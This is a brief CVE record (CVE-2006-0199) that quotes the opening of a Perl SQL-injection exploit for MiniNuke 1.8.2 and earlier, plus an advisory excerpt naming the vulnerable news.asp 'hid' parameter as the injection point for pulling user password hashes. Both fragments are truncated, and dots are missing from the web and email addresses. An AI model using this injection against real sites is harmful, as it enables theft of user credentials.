CVE-2006-0199

#!/usr/bin/perl # MiniNuke (wwwminiexnet) Version: <= 182 SQL-injection exploit # This exploit uses the vulnerability discovered by nukedx@nukedxcom # Exploit uses SQl-injection to give you the hash from user with chosen id # DetMyl, 2006 Detmyl@bkru use IO::Socket; if (@ARGV < 3) { print q( ++++++++++++++++++++++++++++++++++ ...

Contacts:{ ICQ: 10072 MSN/Email: nukedx@nukedxcom Web: wwwnukedxcom } --- Vendor: MiniNuke (wwwminiexnet) Version: 182 and prior versions must be affected About:Via this method remote attacker can inject SQL query to the newsasp --- How&Example: GET -> [site]/newsasp?Action=Print&hid=[SQLQuery] wwwminie ...